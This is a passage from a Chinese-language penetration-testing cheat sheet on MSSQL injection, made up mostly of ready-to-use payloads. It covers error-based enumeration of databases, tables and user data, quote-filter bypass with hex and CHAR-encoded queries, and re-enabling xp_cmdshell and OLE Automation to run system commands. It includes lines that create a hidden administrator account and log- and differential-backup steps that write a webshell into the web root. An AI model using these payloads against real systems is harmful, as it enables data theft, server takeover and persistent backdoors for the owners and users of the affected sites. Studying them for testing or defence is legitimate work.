      and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 获取用户库)
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库
      查表
      ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )
      列名
      ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )
      拿数据
      ?id=1 and 1=(select top 1 uname from users)
      
    • 绕过
      引入一个 declare 函数,可以声明局部变量。declare 定义变量,set 设置变量值,exec 执行变量
      select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
      

      其中变量值可以进行 hex 或 ascii 编码,可以用这个特性绕过引号过滤
      select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
      
      select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
      
  • MSSQL 注入拿 shell


    ( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
    存在堆叠注入的条件下用 xp_cmdshell 写 shell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    

    然后直接可以执行命令
    EXEC master..xp_cmdshell’免杀powershell命令’
    

    如果 xp_cmdshell 被禁用的代替方法:
    恢复 sp_oacreate,并执行命令:
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'show advanced options', 0;
    

    执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
    

    调用 cmd 执行命令
    wscript.shell 执行命令
    
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
    
    
    Shell.Application 执行命令
    
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
    

    删除或恢复 sp_addextendedproc
    / 删除 /
    drop procedure sp_addextendproc
    drop procedure sp_oacreate
    exec sp_addextendedproc
    / 恢复 /
    dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
    dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
    

    恢复 sp_oacreate 和 xp_cmdshell
    exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
    

    如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
    1.报错寻找
    2.字典
    3.旁站信息收集
    4.调用储存过程来搜索
    5.读配置文件
    

    其中,可以用 xp_cmdshellxp_dirtreexp_dirtreexp_subdirs 等函数找网站根目录(调用储存过程来搜索)
    execute master..xp_dirtree 'c:'       //列出所有 c:\ 文件和目录,子目录 
    execute master..xp_dirtree 'c:',1     //只列 c:\ 文件夹 
    execute master..xp_dirtree 'c:',1,1   //列 c:\ 文件夹加文件 
    

    如果没有回显的话可以插入一个临时的表:
    id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
    id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
    

    log备份写 shell

    • 前提条件:
      1.数据库存在注入
      2.用户具有读写权限,一般至少DBO权限
      3.有网站的具体路径
      4.站库不分离
      
    • 操作步骤:
      1.修改数据库为还原模式(恢复模式):
      ;alter database 库名 set RECOVERY FULL –-
      2.建表和字段
      ;create table moonflower(a image)--
      3.备份数据库
      ;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init –
      4.往表中写入一句话
      ;insert into orange(a) values (0x...)--    //值要进行hex进制转换下
      5.利用log备份到web的物理路径
      ;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init--
      6.删除表
      ;Drop table moonflower--
      

    差异备份写shell
    第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
    • 前提条件:
      1.有网站具体路径
      2.有可写权限(dbo权限以上)
      3.站库不分离
      
    • 步骤:
      1.备份数据库
      ;backup database 数据库名 to disk = 'C:\www\\...' with init --
      2.创建表格
      %';create table moonflower(a image) --
      3.写入webshell
      %';insert into orange(a) values (0xxxxx) --
      4.进行差异备份
      %';backup log 数据库名 to disk = 'C:\www\moonflower.asp'  WITH DIFFERENTIAL,FORMAT;--
      5.删除表
      ;Drop table moonflower--
      

     
  • 参考文献